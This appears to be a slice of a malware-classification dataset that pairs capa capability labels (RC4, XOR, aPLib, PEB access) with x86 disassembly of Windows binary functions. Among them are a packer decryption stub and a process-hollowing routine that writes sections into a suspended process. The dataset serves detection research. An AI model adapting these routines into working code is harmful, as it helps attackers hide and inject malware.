joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433bb6
Capabilities:
Access peb ldr_data

Disassembly:
jmp 0x433ba0
push 0xffffffffffffffff
push 0x48346b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 0x10]
call fcn.004018e8
xor edi, edi
lea ecx, [esi + 0x20]
mov dword [esp + 0x14], edi
call fcn.004018e8
mov ecx, dword [esp + 0xc]
or eax, 0xffffffff
mov dword [esi], edi
mov dword [esi + 8], eax
mov dword [esi + 0x34], eax
mov dword [esi + 4], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x437f38
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
jmp 0x437f20
push 0xffffffffffffffff
push 0x483561
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 0xc]
call fcn.004018e8
lea edi, [esi + 0x3c]
xor ebx, ebx
mov ecx, edi
mov dword [esp + 0x1c], ebx
call fcn.004018e8
lea ebp, [esi + 0x48]
mov byte [esp + 0x1c], 1
mov ecx, ebp
call fcn.004018e8
or eax, 0xffffffff
mov ecx, edi
mov byte [esp + 0x1c], 2
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x60], eax
mov byte [esi + 0x54], bl
call fcn.0040111d
mov ecx, ebp
call fcn.0040111d
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x454ed1
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x454edf
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x10], 8
push esi
push edi
not eax
mov ecx, 0xff
jb 0x454fba
mov edi, dword [ebp + 0x10]
push ebx
shr edi, 3
movzx ebx, byte [edx]
mov esi, eax
sub dword [ebp + 0x10], 8
and esi, ecx
xor esi, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esi*4 + 0x4884e8]
xor eax, ebx
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x4884e8]
xor esi, eax
inc edx
mov eax, esi
movzx ebx, byte [edx]
and eax, ecx
xor eax, ebx
shr esi, 8
mov eax, dword [eax*4 + 0x4884e8]
xor eax, esi
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x4884e8]
xor esi, eax
inc edx
mov eax, esi
movzx ebx, byte [edx]
and eax, ecx
xor eax, ebx
shr esi, 8
mov eax, dword [eax*4 + 0x4884e8]
xor eax, esi
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x4884e8]
xor esi, eax
inc edx
mov eax, esi
movzx ebx, byte [edx]
and eax, ecx
xor eax, ebx
shr esi, 8
mov eax, dword [eax*4 + 0x4884e8]
xor eax, esi
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x4884e8]
xor eax, esi
inc edx
dec edi
jne 0x454efc
pop ebx
cmp dword [ebp + 0x10], 0
je 0x454fdb
movzx edi, byte [edx]
mov esi, eax
and esi, ecx
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4884e8]
xor eax, esi
inc edx
dec dword [ebp + 0x10]
jne 0x454fc0
pop edi
pop esi
not eax
pop ebp
ret
Function at 0x4588ce
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 0x24]
mov ecx, dword [esi + 0x64]
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x6c]
sub eax, ecx
sub eax, edx
mov dword [ebp + 8], eax
jne 0x4588f8
test ecx, ecx
jne 0x458902
test edx, edx
jne 0x458902
mov eax, edi
jmp 0x45896e
cmp eax, 0xffffffff
jne 0x458902
push 0xfffffffffffffffe
pop eax
jmp 0x45896e
mov edx, dword [esi + 0x24]
lea edx, [edi + edx - 0x106]
cmp ecx, edx
jb 0x45896e
mov eax, dword [esi + 0x30]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call fcn.0043caf0
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x3c]
sub dword [esi + 0x68], edi
sub dword [esi + 0x64], edi
add esp, 0xc
sub dword [esi + 0x54], edi
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx edx, word [eax]
mov ebx, edx
sub ebx, edi
cmp edx, edi
sbb edx, edx
not edx
and edx, ebx
dec ecx
mov word [eax], dx
jne 0x458933
mov eax, dword [esi + 0x38]
mov edx, edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov ebx, ecx
sub ebx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, ebx
dec edx
mov word [eax], cx
jne 0x458952
mov eax, dword [ebp + 8]
add eax, edi
mov ecx, dword [esi]
cmp dword [ecx + 4], 0
je 0x4589c9
push eax
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x64]
add eax, dword [esi + 0x30]
push eax
push ecx
call fcn.004589ce
add dword [esi + 0x6c], eax
mov ebx, dword [esi + 0x6c]
add esp, 0xc
cmp ebx, 3
jb 0x4589b5
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x30]
lea edx, [eax + ecx]
mov ecx, dword [esi + 0x50]
movzx eax, byte [edx]
mov dword [esi + 0x40], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x4c]
mov dword [esi + 0x40], eax
cmp ebx, 0x106
jae 0x4589c9
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x4588da
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x45fe00
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
xor edx, edx
cmp ecx, edx
je 0x45fea0
push ebx
push ebp
push esi
mov esi, dword [ecx]
push edi
xor eax, eax
mov byte [esi + 0x16], dl
mov esi, dword [ecx]
mov byte [esi + 0x17], dl
mov esi, dword [ecx]
mov byte [esi + 0x18], dl
mov esi, dword [ecx]
mov byte [esi + 0x19], dl
mov edi, dword [ecx + 4]
xor esi, esi
cmp edi, edx
jle 0x45fe52
mov ebp, dword [ecx]
xor edx, edx
mov ebx, eax
mov dl, byte [esi + ebp]
shr ebx, 0x18
xor edx, ebx
shl eax, 8
mov edx, dword [edx*4 + 0x498804]
xor eax, edx
inc esi
cmp esi, edi
jl 0x45fe33
xor edx, edx
mov edi, dword [ecx + 0xc]
xor esi, esi
cmp edi, edx
jle 0x45fe7b
mov ebp, dword [ecx + 8]
xor edx, edx
mov ebx, eax
mov dl, byte [esi + ebp]
shr ebx, 0x18
xor edx, ebx
shl eax, 8
mov edx, dword [edx*4 + 0x498804]
xor eax, edx
inc esi
cmp esi, edi
jl 0x45fe5e
mov edx, dword [ecx]
pop edi
mov byte [edx + 0x16], al
mov esi, dword [ecx]
mov edx, eax
shr edx, 8
mov byte [esi + 0x17], dl
mov esi, dword [ecx]
mov edx, eax
shr edx, 0x10
mov byte [esi + 0x18], dl
mov ecx, dword [ecx]
shr eax, 0x18
pop esi
pop ebp
mov byte [ecx + 0x19], al
pop ebx
ret
Function at 0x402f08
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
xor esi, esi
push ebx
mov dword [ebp + esi*4 - 0x410], esi
call fcn.00412808
pop ecx
mov ecx, eax
xor edx, edx
mov eax, esi
div ecx
inc esi
movzx eax, byte [edx + ebx]
mov dword [ebp + esi*4 - 0x814], eax
cmp esi, 0x100
jl 0x402f1b
xor edx, edx
mov ecx, dword [ebp + edx - 0x810]
lea eax, [ebp + edx - 0x410]
mov esi, dword [eax]
add ecx, esi
add edi, ecx
and edi, 0x800000ff
jns 0x402f6b
dec edi
or edi, 0xffffff00
inc edi
lea ecx, [ebp + edi*4 - 0x410]
mov ebx, dword [ecx]
add edx, 4
mov dword [eax], ebx
mov dword [ecx], esi
cmp edx, 0x400
jl 0x402f47
push dword [ebp + 8]
call fcn.00412808
inc eax
push eax
call fcn.0041a498
push dword [ebp + 8]
mov esi, eax
xor edi, edi
mov dword [ebp - 8], esi
xor ebx, ebx
mov dword [ebp - 4], edi
call fcn.00412808
add esp, 0xc
test eax, eax
jle 0x40304b
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 8]
sub eax, esi
mov dword [ebp - 0xc], eax
jmp 0x402fc1
mov ebx, dword [ebp - 0x10]
inc edi
and edi, 0x800000ff
jns 0x402fd2
dec edi
or edi, 0xffffff00
inc edi
lea eax, [ebp + edi*4 - 0x410]
mov ecx, dword [eax]
lea edx, [ecx + ebx]
and edx, 0x800000ff
jns 0x402fee
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
lea edx, [ebp + edx*4 - 0x410]
mov ebx, dword [edx]
mov dword [eax], ebx
mov dword [edx], ecx
mov eax, dword [eax]
add eax, ecx
and eax, 0x800000ff
jns 0x403010
dec eax
or eax, 0xffffff00
inc eax
mov cl, byte [esi]
movzx edx, cl
lea eax, [ebp + eax*4 - 0x410]
cmp dword [eax], edx
jne 0x403028
mov eax, dword [ebp - 0xc]
mov byte [eax + esi], cl
jmp 0x403032
mov al, byte [eax]
xor al, cl
mov ecx, dword [ebp - 0xc]
mov byte [ecx + esi], al
push dword [ebp + 8]
inc dword [ebp - 4]
inc esi
call fcn.00412808
pop ecx
cmp dword [ebp - 4], eax
jl 0x402fbe
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, dword [ebp + 0x10]
pop edi
mov dword [eax], esi
pop esi
pop ebx
leave
ret
Function at 0x404db2
Capabilities:
Check http status code

Disassembly:
mov eax, 0x4201f2
call fcn.0041a486
sub esp, 0x598
push ebx
push esi
push edi
sub esp, 0xc
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 4], 1
call fcn.004113b1
lea eax, [ebp - 0xa4]
push eax
call fcn.00404654
add esp, 0x10
push 0xf
pop ecx
push 0x5f5e0ff
mov esi, eax
xor ebx, ebx
lea edi, [ebp - 0x68]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [0x6421b4]
push eax
call dword [0x642144]
push ebx
push ebx
xor edi, edi
push ebx
inc edi
push ebx
lea ecx, [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
call fcn.004115a4
push eax
call dword [0x6420a8]
push dword [0x63133c]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x64]
xor esi, esi
call dword [0x642184]
test eax, eax
jne 0x404e44
mov esi, edi
cmp dword [ebp - 0x18], ebx
je 0x404f78
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x50]
push dword [ebp - 0x58]
push dword [ebp - 0x18]
call dword [0x6421a8]
mov dword [ebp - 0x24], eax
cmp eax, ebx
je 0x404f6f
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x631188]
push dword [ebp - 0x3c]
push 0x4279cc
push dword [ebp - 0x24]
call dword [0x6421e8]
mov edi, eax
cmp edi, ebx
je 0x404f68
cmp esi, ebx
je 0x404ebc
or dword [ebp - 0x20], 0x10300
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [0x641fa0]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x642170]
push ebx
mov esi, eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0x13
push edi
mov dword [ebp - 0x28], 0x100
call dword [0x642200]
test eax, eax
jne 0x404f0c
lea ecx, [ebp + 8]
xor esi, esi
mov byte [ebp - 4], bl
call fcn.004113e5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.004113e5
mov eax, dword [ebp - 0x2c]
mov edx, esi
jmp 0x404f9e
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041276d
pop ecx
cmp eax, 0xc8
jne 0x404ee9
cmp esi, ebx
je 0x404f68
jmp 0x404f63
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x5a4]
push eax
push edi
call dword [0x6420d0]
xor esi, esi
cmp dword [ebp - 0x10], ebx
jbe 0x404f68
push 1
lea eax, [ebp + esi - 0x5a4]
push eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
push eax
call fcn.004127be
inc dword [ebp - 0x14]
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x404f44
cmp dword [ebp - 0x10], ebx
ja 0x404f26
push edi
call dword [0x6420a4]
push dword [ebp - 0x24]
call dword [0x6420a4]
push dword [ebp - 0x18]
call dword [0x6420a4]
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call fcn.004113e5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.004113e5
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x405b9a
Capabilities:
Check http status code

Disassembly:
mov eax, 0x420401
call fcn.0041a486
sub esp, 0x978
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 4], 2
call fcn.004113b1
lea eax, [ebp - 0xb4]
push eax
call fcn.00404654
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
push 0x4279a6
lea ecx, [ebp - 0x30]
call fcn.0041137a
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 3
call fcn.004115a4
push eax
call dword [0x6420a8]
push dword [0x63133c]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x74]
xor esi, esi
call dword [0x642184]
test eax, eax
jne 0x405c21
inc esi
cmp dword [ebp - 0x10], ebx
je 0x405d65
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x60]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call dword [0x6421a8]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x405d5c
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x631188]
push dword [ebp - 0x4c]
push 0x427adc
push dword [ebp - 0x1c]
call dword [0x6421e8]
mov edi, eax
cmp edi, ebx
je 0x405d53
cmp esi, ebx
je 0x405c99
or dword [ebp - 0x20], 0x10300
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [0x641fa0]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x642170]
push ebx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1b4]
push eax
push 0x13
push edi
mov dword [ebp - 0x18], 0x100
call dword [0x642200]
test eax, eax
jne 0x405cd8
mov ecx, dword [ebp + 8]
push 0x427ae0
call fcn.0041137a
jmp 0x405d71
lea eax, [ebp - 0x1b4]
push eax
call fcn.0041276d
pop ecx
cmp eax, 0xc8
jne 0x405dad
cmp esi, ebx
je 0x405d4c
mov esi, 0x7cf
jmp 0x405d35
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x405d4c
mov byte [ebp + eax - 0x984], bl
lea eax, [ebp - 0x984]
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x30]
call fcn.004114f3
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 4
call fcn.00411438
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 3
call fcn.004113e5
lea eax, [ebp - 0x24]
push eax
push esi
lea eax, [ebp - 0x984]
push eax
push edi
call dword [0x6420d0]
cmp eax, ebx
jne 0x405cfb
push edi
call dword [0x6420a4]
push dword [ebp - 0x1c]
call dword [0x6420a4]
push dword [ebp - 0x10]
call dword [0x6420a4]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
call fcn.004113b1
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], 1
mov byte [ebp - 4], 2
call fcn.004113e5
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.004113e5
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], bl
call fcn.004113e5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
push 0x427ae8
call fcn.0041137a
jmp 0x405d71
Function at 0x40714f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x40716d
xor eax, eax
inc eax
jmp 0x4071ff
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4071fc
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4071fc
push dword [ebp + 0xc]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x407165
cmp dword [edi], 0x4550
jne 0x4071fc
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x4071fc
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4071fc
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.004127f1
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4071d3
push 3
jmp 0x4071fe
push dword [ebp + 0xc]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x4071ff
push 2
pop eax
pop edi
pop ebp
ret

Function at 0x4077e5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x40781f
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x40781f
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x40781f
push dword [ebp + 0xc]
push ecx
push dword [eax + ecx + 0x78]
call fcn.00407749
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x410ac7
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebx + 0x3c]
push edi
xor edi, edi
add esi, ebx
mov dword [ebp - 0xc], edi
cmp dword [esi], 0x4550
jne 0x410b8d
push 0x10
lea eax, [ebp - 0x1c]
push edi
push eax
call fcn.0041a474
push 0x44
lea eax, [ebp - 0x60]
push edi
push eax
call fcn.0041a474
add esp, 0x18
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push edi
push edi
push 0x8000004
push edi
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [0x642054]
test eax, eax
je 0x410b8d
push 4
push 0x1000
push 4
push edi
call dword [0x642110]
mov edi, eax
push edi
mov dword [edi], 0x10007
push dword [ebp - 0x18]
call dword [0x6421ac]
test eax, eax
je 0x410b8d
push 0
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [0x6421b0]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x1c]
call dword [0x641ffc]
mov dword [ebp - 8], eax
test eax, eax
jne 0x410b94
push dword [ebp - 0x18]
call dword [0x6421c4]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 0
push dword [esi + 0x54]
push ebx
push eax
push dword [ebp - 0x1c]
call dword [0x64200c]
and dword [ebp - 4], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x410beb
and dword [ebp + 0xc], eax
mov eax, dword [ebx + 0x3c]
add eax, dword [ebp + 0xc]
push 0
lea eax, [eax + ebx + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 8]
add ecx, ebx
push ecx
push eax
push dword [ebp - 0x1c]
call dword [0x64200c]
movzx eax, word [esi + 6]
inc dword [ebp - 4]
add dword [ebp + 0xc], 0x28
cmp dword [ebp - 4], eax
jl 0x410bb3
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [edi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [0x64200c]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 8]
push edi
mov dword [edi + 0xb0], eax
push dword [ebp - 0x18]
call dword [0x641fe0]
push dword [ebp - 0x18]
call dword [0x6421c4]
mov eax, dword [ebp - 0x14]
jmp 0x410b8f
Function at 0x4149c3
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x4225e8
call fcn.0041a486
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004113b1
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.004113b1
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004113b1
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
add edi, 0x34
push edi
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x30], eax
call fcn.004113b1
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x1078058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.010781a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x107807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x107806a
add dl, dl
jne 0x1078089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10780dc
xor eax, eax
add dl, dl
jne 0x1078096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x107817d
add dl, dl
jne 0x10780a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10780b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10780bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10780c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10780d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1078075
mov eax, 1
add dl, dl
jne 0x10780ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10780f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10780e1
sub eax, ebx
mov ebx, 1
jne 0x1078128
mov ecx, 1
add dl, dl
jne 0x107810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1078119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1078105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1078075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x107813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x107814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1078136
cmp eax, 0x7d00
jae 0x107816d
cmp eax, 0x500
jb 0x1078168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1078075
cmp eax, 0x7f
ja 0x1078170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1078075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x107819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1078075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x27276ec5
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x77b67531
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10001164
Capabilities:
Get http content length

Disassembly:
call fcn.10002453
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 4
cmp dword [ebp + 8], 0
jne 0x1000118a
jmp 0x100011b6
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0x20000005
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x100011a9
jmp 0x100011b4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x100011b8
jmp 0x100011af
jmp 0x100011af
mov esp, ebp
pop ebp
ret 4
mov word [esp], 0xa7f6
mov dword [esp + 0x50], esi
jmp 0x1000115f